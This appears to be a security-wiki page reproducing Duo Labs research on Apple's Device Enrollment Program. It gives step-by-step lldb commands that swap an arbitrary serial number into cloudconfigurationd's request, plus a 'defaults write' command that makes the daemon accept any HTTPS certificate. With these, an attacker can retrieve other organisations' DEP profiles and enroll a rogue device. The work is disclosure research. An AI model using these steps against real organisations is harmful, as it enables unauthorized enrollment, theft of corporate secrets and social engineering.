26 KiB
Enrolling Devices in Other Organisations
Intro
As previously commented, in order to try to enrol a device into an organization only a Serial Number belonging to that Organization is needed. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations and so on.
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected.
The following research is taken from https://duo.com/labs/research/mdm-me-maybe
Reversing the process
Binaries Involved in DEP and MDM
Throughout our research, we explored the following:
mdmclient
: Used by the OS to communicate with an MDM server. On macOS 10.13.3 and earlier, it can also be used to trigger a DEP check-in.profiles
: A utility that can be used to install, remove and view Configuration Profiles on macOS. It can also be used to trigger a DEP check-in on macOS 10.13.4 and newer.cloudconfigurationd
: The Device Enrollment client daemon, which is responsible for communicating with the DEP API and retrieving Device Enrollment profiles.
When using either mdmclient
or profiles
to initiate a DEP check-in, the CPFetchActivationRecord
and CPGetActivationRecord
functions are used to retrieve the Activation Record. CPFetchActivationRecord
delegates control to cloudconfigurationd
through XPC, which then retrieves the Activation Record from the DEP API.
CPGetActivationRecord
retrieves the Activation Record from cache, if available. These functions are defined in the private Configuration Profiles framework, located at /System/Library/PrivateFrameworks/Configuration Profiles.framework
.
Reverse Engineering the Tesla Protocol and Absinthe Scheme
During the DEP check-in process, cloudconfigurationd
requests an Activation Record from iprofiles.apple.com/macProfile. The request payload is a JSON dictionary containing two key-value pairs:
{
"sn": "",
action": "RequestProfileConfiguration
}
The payload is signed and encrypted using a scheme internally referred to as "Absinthe." The encrypted payload is then Base 64 encoded and used as the request body in an HTTP POST to iprofiles.apple.com/macProfile.
In cloudconfigurationd
, fetching the Activation Record is handled by the MCTeslaConfigurationFetcher
class. The general flow from [MCTeslaConfigurationFetcher enterState:]
is as follows:
rsi = @selector(verifyConfigBag);
rsi = @selector(startCertificateFetch);
rsi = @selector(initializeAbsinthe);
rsi = @selector(startSessionKeyFetch);
rsi = @selector(establishAbsintheSession);
rsi = @selector(startConfigurationFetch);
rsi = @selector(sendConfigurationInfoToRemote);
rsi = @selector(sendFailureNoticeToRemote);
Since the Absinthe scheme is what appears to be used to authenticate requests to the DEP service, reverse engineering this scheme would allow us to make our own authenticated requests to the DEP API. This proved to be time consuming, though, mostly because of the number of steps involved in authenticating requests. Rather than fully reversing how this scheme works, we opted to explore other methods of inserting arbitrary serial numbers as part of the Activation Record request.
MITMing DEP Requests
We explored the feasibility of proxying network requests to iprofiles.apple.com with Charles Proxy. Our goal was to inspect the payload sent to iprofiles.apple.com/macProfile, then insert an arbitrary serial number and replay the request. As previously mentioned, the payload submitted to that endpoint by cloudconfigurationd
is in JSON format and contains two key-value pairs.
{
"action": "RequestProfileConfiguration",
sn": "
}
Since the API at iprofiles.apple.com uses Transport Layer Security (TLS), we needed to enable SSL Proxying in Charles for that host to see the plain text contents of the SSL requests.
However, the -[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:]
method checks the validity of the server certificate, and will abort if server trust cannot be verified.
[ERROR] Unable to get activation record: Error Domain=MCCloudConfigurationErrorDomain Code=34011
"The Device Enrollment server trust could not be verified. Please contact your system
administrator." UserInfo={USEnglishDescription=The Device Enrollment server trust could not be
verified. Please contact your system administrator., NSLocalizedDescription=The Device Enrollment
server trust could not be verified. Please contact your system administrator.,
MCErrorType=MCFatalError}
The error message shown above is located in a binary Errors.strings file with the key CLOUD_CONFIG_SERVER_TRUST_ERROR
, which is located at /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
, along with other related error messages.
$ cd /System/Library/CoreServices
$ rg "The Device Enrollment server trust could not be verified"
ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
<snip>
The Errors.strings file can be printed in a human-readable format with the built-in plutil
command.
$ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
After looking into the MCTeslaConfigurationFetcher
class further, though, it became clear that this server trust behavior can be circumvented by enabling the MCCloudConfigAcceptAnyHTTPSCertificate
configuration option on the com.apple.ManagedClient.cloudconfigurationd
preference domain.
loc_100006406:
rax = [NSUserDefaults standardUserDefaults];
rax = [rax retain];
r14 = [rax boolForKey:@"MCCloudConfigAcceptAnyHTTPSCertificate"];
r15 = r15;
[rax release];
if (r14 != 0x1) goto loc_10000646f;
The MCCloudConfigAcceptAnyHTTPSCertificate
configuration option can be set with the defaults
command.
sudo defaults write com.apple.ManagedClient.cloudconfigurationd MCCloudConfigAcceptAnyHTTPSCertificate -bool yes
With SSL Proxying enabled for iprofiles.apple.com and cloudconfigurationd
configured to accept any HTTPS certificate, we attempted to man-in-the-middle and replay the requests in Charles Proxy.
However, since the payload included in the body of the HTTP POST request to iprofiles.apple.com/macProfile is signed and encrypted with Absinthe, (NACSign
), it isn't possible to modify the plain text JSON payload to include an arbitrary serial number without also having the key to decrypt it. Although it would be possible to obtain the key because it remains in memory, we instead moved on to exploring cloudconfigurationd
with the LLDB debugger.
Instrumenting System Binaries That Interact With DEP
The final method we explored for automating the process of submitting arbitrary serial numbers to iprofiles.apple.com/macProfile was to instrument native binaries that either directly or indirectly interact with the DEP API. This involved some initial exploration of the mdmclient
, profiles
, and cloudconfigurationd
in Hopper v4 and Ida Pro, and some lengthy debugging sessions with lldb
.
One of the benefits of this method over modifying the binaries and re-signing them with our own key is that it sidesteps some of the entitlements restrictions built into macOS that might otherwise deter us.
System Integrity Protection
In order to instrument system binaries, (such as cloudconfigurationd
) on macOS, System Integrity Protection (SIP) must be disabled. SIP is a security technology that protects system-level files, folders, and processes from tampering, and is enabled by default on OS X 10.11 “El Capitan” and later. SIP can be disabled by booting into Recovery Mode and running the following command in the Terminal application, then rebooting:
csrutil enable --without debug
It’s worth noting, however, that SIP is a useful security feature and should not be disabled except for research and testing purposes on non-production machines. It’s also possible (and recommended) to do this on non-critical Virtual Machines rather than on the host operating system.
Binary Instrumentation With LLDB
With SIP disabled, we were then able to move forward with instrumenting the system binaries that interact with the DEP API, namely, the cloudconfigurationd
binary. Because cloudconfigurationd
requires elevated privileges to run, we need to start lldb
with sudo
.
$ sudo lldb
(lldb) process attach --waitfor --name cloudconfigurationd
While lldb
is waiting, we can then attach to cloudconfigurationd
by running sudo /usr/libexec/mdmclient dep nag
in a separate Terminal window. Once attached, output similar to the following will be displayed and LLDB commands can be typed at the prompt.
Process 861 stopped
* thread #1, stop reason = signal SIGSTOP
<snip>
Target 0: (cloudconfigurationd) stopped.
Executable module set to "/usr/libexec/cloudconfigurationd".
Architecture set to: x86_64h-apple-macosx.
(lldb)
Setting the Device Serial Number
One of the first things we looked for when reversing mdmclient
and cloudconfigurationd
was the code responsible for retrieving the system serial number, as we knew the serial number was ultimately responsible for authenticating the device. Our goal was to modify the serial number in memory after it is retrieved from the IORegistry
, and have that be used when cloudconfigurationd
constructs the macProfile
payload.
Although cloudconfigurationd
is ultimately responsible for communicating with the DEP API, we also looked into whether the system serial number is retrieved or used directly within mdmclient
. The serial number retrieved as shown below is not what is sent to the DEP API, but it did reveal a hard-coded serial number that is used if a specific configuration option is enabled.
int sub_10002000f() {
if (sub_100042b6f() != 0x0) {
r14 = @"2222XXJREUF";
}
else {
rax = IOServiceMatching("IOPlatformExpertDevice");
rax = IOServiceGetMatchingServices(*(int32_t *)*_kIOMasterPortDefault, rax, &var_2C);
<snip>
}
rax = r14;
return rax;
}
The system serial number is retrieved from the IORegistry
, unless the return value of sub_10002000f
is nonzero, in which case it’s set to the static string “2222XXJREUF”. Upon inspecting that function, it appears to check whether “Server stress test mode” is enabled.
void sub_1000321ca(void * _block) {
if (sub_10002406f() != 0x0) {
*(int8_t *)0x100097b68 = 0x1;
sub_10000b3de(@"Server stress test mode enabled", rsi, rdx, rcx, r8, r9, stack[0]);
}
return;
}
We documented the existence of “server stress test mode,” but didn’t explore it any further, as our goal was to modify the serial number presented to the DEP API. Instead, we tested whether modifying the serial number pointed to by the r14
register would suffice in retrieving an Activation Record that was not meant for the machine we were testing on.
Next, we looked at how the system serial number is retrieved within cloudconfigurationd
.
int sub_10000c100(int arg0, int arg1, int arg2, int arg3) {
var_50 = arg3;
r12 = arg2;
r13 = arg1;
r15 = arg0;
rbx = IOServiceGetMatchingService(*(int32_t *)*_kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"));
r14 = 0xffffffffffff541a;
if (rbx != 0x0) {
rax = sub_10000c210(rbx, @"IOPlatformSerialNumber", 0x0, &var_30, &var_34);
r14 = rax;
<snip>
}
rax = r14;
return rax;
}
As can be seen above, the serial number is retrieved from the IORegistry
in cloudconfigurationd
as well.
Using lldb
, we were able to modify the serial number retrieved from the IORegistry
by setting a breakpoint for IOServiceGetMatchingService
and creating a new string variable containing an arbitrary serial number and rewriting the r14
register to point to the memory address of the variable we created.
(lldb) breakpoint set -n IOServiceGetMatchingService
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
(lldb) process attach --waitfor --name cloudconfigurationd
Process 2208 stopped
* thread #2, queue = 'com.apple.NSXPCListener.service.com.apple.ManagedClient.cloudconfigurationd',
stop reason = instruction step over frame #0: 0x000000010fd824d8
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd + 73
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd:
-> 0x10fd824d8 <+73>: movl %ebx, %edi
0x10fd824da <+75>: callq 0x10ffac91e ; symbol stub for: IOObjectRelease
0x10fd824df <+80>: testq %r14, %r14
0x10fd824e2 <+83>: jne 0x10fd824e7 ; <+88>
Target 0: (cloudconfigurationd) stopped.
(lldb) continue # Will hit breakpoint at `IOServiceGetMatchingService`
# Step through the program execution by pressing 'n' a bunch of times and
# then 'po $r14' until we see the serial number.
(lldb) n
(lldb) po $r14
C02JJPPPQQQRR # The system serial number retrieved from the `IORegistry`
# Create a new variable containing an arbitrary serial number and print the memory address.
(lldb) p/x @"C02XXYYZZNNMM"
(__NSCFString *) $79 = 0x00007fb6d7d05850 @"C02XXYYZZNNMM"
# Rewrite the `r14` register to point to our new variable.
(lldb) register write $r14 0x00007fb6d7d05850
(lldb) po $r14
# Confirm that `r14` contains the new serial number.
C02XXYYZZNNMM
Although we were successful in modifying the serial number retrieved from the IORegistry
, the macProfile
payload still contained the system serial number, not the one we wrote to the r14
register.
Exploit: Modifying the Profile Request Dictionary Prior to JSON Serialization
Next, we tried setting the serial number that is sent in the macProfile
payload in a different way. This time, rather than modifying the system serial number retrieved via IORegistry
, we tried to find the closest point in the code where the serial number is still in plain text before being signed with Absinthe (NACSign
). The best point to look at appeared to be -[MCTeslaConfigurationFetcher startConfigurationFetch]
, which roughly performs the following steps:
- Creates a new
NSMutableData
object - Calls
[MCTeslaConfigurationFetcher setConfigurationData:]
, passing it the newNSMutableData
object - Calls
[MCTeslaConfigurationFetcher profileRequestDictionary]
, which returns anNSDictionary
object containing two key-value pairs: sn
: The system serial numberaction
: The remote action to perform (withsn
as its argument)- Calls
[NSJSONSerialization dataWithJSONObject:]
, passing it theNSDictionary
fromprofileRequestDictionary
- Signs the JSON payload using Absinthe (
NACSign
) - Base64 encodes the signed JSON payload
- Sets the HTTP method to
POST
- Sets the HTTP body to the base64 encoded, signed JSON payload
- Sets the
X-Profile-Protocol-Version
HTTP header to1
- Sets the
User-Agent
HTTP header toConfigClient-1.0
- Uses the
[NSURLConnection alloc] initWithRequest:delegate:startImmediately:]
method to perform the HTTP request
We then modified the NSDictionary
object returned from profileRequestDictionary
before being converted into JSON. To do this, a breakpoint was set on dataWithJSONObject
in order to get us as close as possible to the as-yet unconverted data as possible. The breakpoint was successful, and when we printed the contents of the register we knew through the disassembly (rdx
) that we got the results we expected to see.
po $rdx
{
action = RequestProfileConfiguration;
sn = C02XXYYZZNNMM;
}
The above is a pretty-printed representation of the NSDictionary
object returned by [MCTeslaConfigurationFetcher profileRequestDictionary]
. Our next challenge was to modify the in-memory NSDictionary
containing the serial number.
(lldb) breakpoint set -r "dataWithJSONObject"
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
(lldb) process attach --name "cloudconfigurationd" --waitfor
Process 3291 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff2e8bfd8f Foundation`+[NSJSONSerialization dataWithJSONObject:options:error:]
Target 0: (cloudconfigurationd) stopped.
# Hit next breakpoint at `dataWithJSONObject`, since the first one isn't where we need to change the serial number.
(lldb) continue
# Create a new variable containing an arbitrary `NSDictionary` and print the memory address.
(lldb) p/x (NSDictionary *)[[NSDictionary alloc] initWithObjectsAndKeys:@"C02XXYYZZNNMM", @"sn",
@"RequestProfileConfiguration", @"action", nil]
(__NSDictionaryI *) $3 = 0x00007ff068c2e5a0 2 key/value pairs
# Confirm that `rdx` contains the new `NSDictionary`.
po $rdx
{
action = RequestProfileConfiguration;
sn = <new_serial_number>
}
The listing above does the following:
- Creates a regular expression breakpoint for the
dataWithJSONObject
selector - Waits for the
cloudconfigurationd
process to start, then attaches to it continue
s execution of the program, (because the first breakpoint we hit fordataWithJSONObject
is not the one called on theprofileRequestDictionary
)- Creates and prints (in hex format due to the
/x
) the result of creating our arbitraryNSDictionary
- Since we already know the names of the required keys we can simply set the serial number to one of our choice for
sn
and leave action alone - The printout of the result of creating this new
NSDictionary
tells us we have two key-value pairs at a specific memory location
Our final step was now to repeat the same step of writing to rdx
the memory location of our custom NSDictionary
object that contains our chosen serial number:
(lldb) register write $rdx 0x00007ff068c2e5a0 # Rewrite the `rdx` register to point to our new variable
(lldb) continue
This points the rdx
register to our new NSDictionary
right before it's serialized to JSON and POST
ed to iprofiles.apple.com/macProfile, then continue
s program flow.
This method of modifying the serial number in the profile request dictionary before being serialized to JSON worked. When using a known-good DEP-registered Apple serial number instead of (null), the debug log for ManagedClient
showed the complete DEP profile for the device:
Apr 4 16:21:35[660:1]:+CPFetchActivationRecord fetched configuration:
{
AllowPairing = 1;
AnchorCertificates = (
);
AwaitDeviceConfigured = 0;
ConfigurationURL = "https://some.url/cloudenroll";
IsMDMUnremovable = 1;
IsMandatory = 1;
IsSupervised = 1;
OrganizationAddress = "Org address";
OrganizationAddressLine1 = "More address";
OrganizationAddressLine2 = NULL;
OrganizationCity = A City;
OrganizationCountry = US;
OrganizationDepartment = "Org Dept";
OrganizationEmail = "dep.management@org.url";
OrganizationMagic = <unique string>;
OrganizationName = "ORG NAME";
OrganizationPhone = "+1551234567";
OrganizationSupportPhone = "+15551235678";
OrganizationZipCode = "ZIPPY";
SkipSetup = (
AppleID,
Passcode,
Zoom,
Biometric,
Payment,
TOS,
TapToSetup,
Diagnostics,
HomeButtonSensitivity,
Android,
Siri,
DisplayTone,
ScreenSaver
);
SupervisorHostCertificates = (
);
}
With just a few lldb
commands we can successfully insert an arbitrary serial number and get a DEP profile that includes various organization-specific data, including the organization's MDM enrollment URL. As discussed, this enrollment URL could be used to enroll a rogue device now that we know its serial number. The other data could be used to social engineer a rogue enrollment. Once enrolled, the device could receive any number of certificates, profiles, applications, VPN configurations and so on.
Automating cloudconfigurationd
Instrumentation With Python
Once we had the initial proof-of-concept demonstrating how to retrieve a valid DEP profile using just a serial number, we set out to automate this process to show how an attacker might abuse this weakness in authentication.
Fortunately, the LLDB API is available in Python through a script-bridging interface. On macOS systems with the Xcode Command Line Tools installed, the lldb
Python module can be imported as follows:
import lldb
This made it relatively easy to script our proof-of-concept demonstrating how to insert a DEP-registered serial number and receive a valid DEP profile in return. The PoC we developed takes a list of serial numbers separated by newlines and injects them into the cloudconfigurationd
process to check for DEP profiles.
Impact
There are a number of scenarios in which Apple's Device Enrollment Program could be abused that would lead to exposing sensitive information about an organization. The two most obvious scenarios involve obtaining information about the organization that a device belongs to, which can be retrieved from the DEP profile. The second is using this information to perform a rogue DEP and MDM enrollment. Each of these are discussed further below.
Information Disclosure
As mentioned previously, part of the DEP enrollment process involves requesting and receiving an Activation Record, (or DEP profile), from the DEP API. By providing a valid, DEP-registered system serial number, we're able to retrieve the following information, (either printed to stdout
or written to the ManagedClient
log, depending on macOS version).
Activation record: {
AllowPairing = 1;
AnchorCertificates = (
<array_of_der_encoded_certificates>
);
AwaitDeviceConfigured = 0;
ConfigurationURL = "https://example.com/enroll";
IsMDMUnremovable = 1;
IsMandatory = 1;
IsSupervised = 1;
OrganizationAddress = "123 Main Street, Anywhere, , 12345 (USA)";
OrganizationAddressLine1 = "123 Main Street";
OrganizationAddressLine2 = NULL;
OrganizationCity = Anywhere;
OrganizationCountry = USA;
OrganizationDepartment = "IT";
OrganizationEmail = "dep@example.com";
OrganizationMagic = 105CD5B18CE24784A3A0344D6V63CD91;
OrganizationName = "Example, Inc.";
OrganizationPhone = "+15555555555";
OrganizationSupportPhone = "+15555555555";
OrganizationZipCode = "12345";
SkipSetup = (
<array_of_setup_screens_to_skip>
);
SupervisorHostCertificates = (
);
}
Although some of this information might be publicly available for certain organizations, having a serial number of a device owned by the organization along with the information obtained from the DEP profile could be used against an organization's help desk or IT team to perform any number of social engineering attacks, such as requesting a password reset or help enrolling a device in the company's MDM server.
Rogue DEP Enrollment
The Apple MDM protocol supports - but does not require - user authentication prior to MDM enrollment via HTTP Basic Authentication. Without authentication, all that's required to enroll a device in an MDM server via DEP is a valid, DEP-registered serial number. Thus, an attacker that obtains such a serial number, (either through OSINT, social engineering, or by brute-force), will be able to enroll a device of their own as if it were owned by the organization, as long as it's not currently enrolled in the MDM server. Essentially, if an attacker is able to win the race by initiating the DEP enrollment before the real device, they're able to assume the identity of that device.
Organizations can - and do - leverage MDM to deploy sensitive information such as device and user certificates, VPN configuration data, enrollment agents, Configuration Profiles, and various other internal data and organizational secrets. Additionally, some organizations elect not to require user authentication as part of MDM enrollment. This has various benefits, such as a better user experience, and not having to expose the internal authentication server to the MDM server to handle MDM enrollments that take place outside of the corporate network.
This presents a problem when leveraging DEP to bootstrap MDM enrollment, though, because an attacker would be able to enroll any endpoint of their choosing in the organization's MDM server. Additionally, once an attacker successfully enrolls an endpoint of their choosing in MDM, they may obtain privileged access that could be used to further pivot within the network.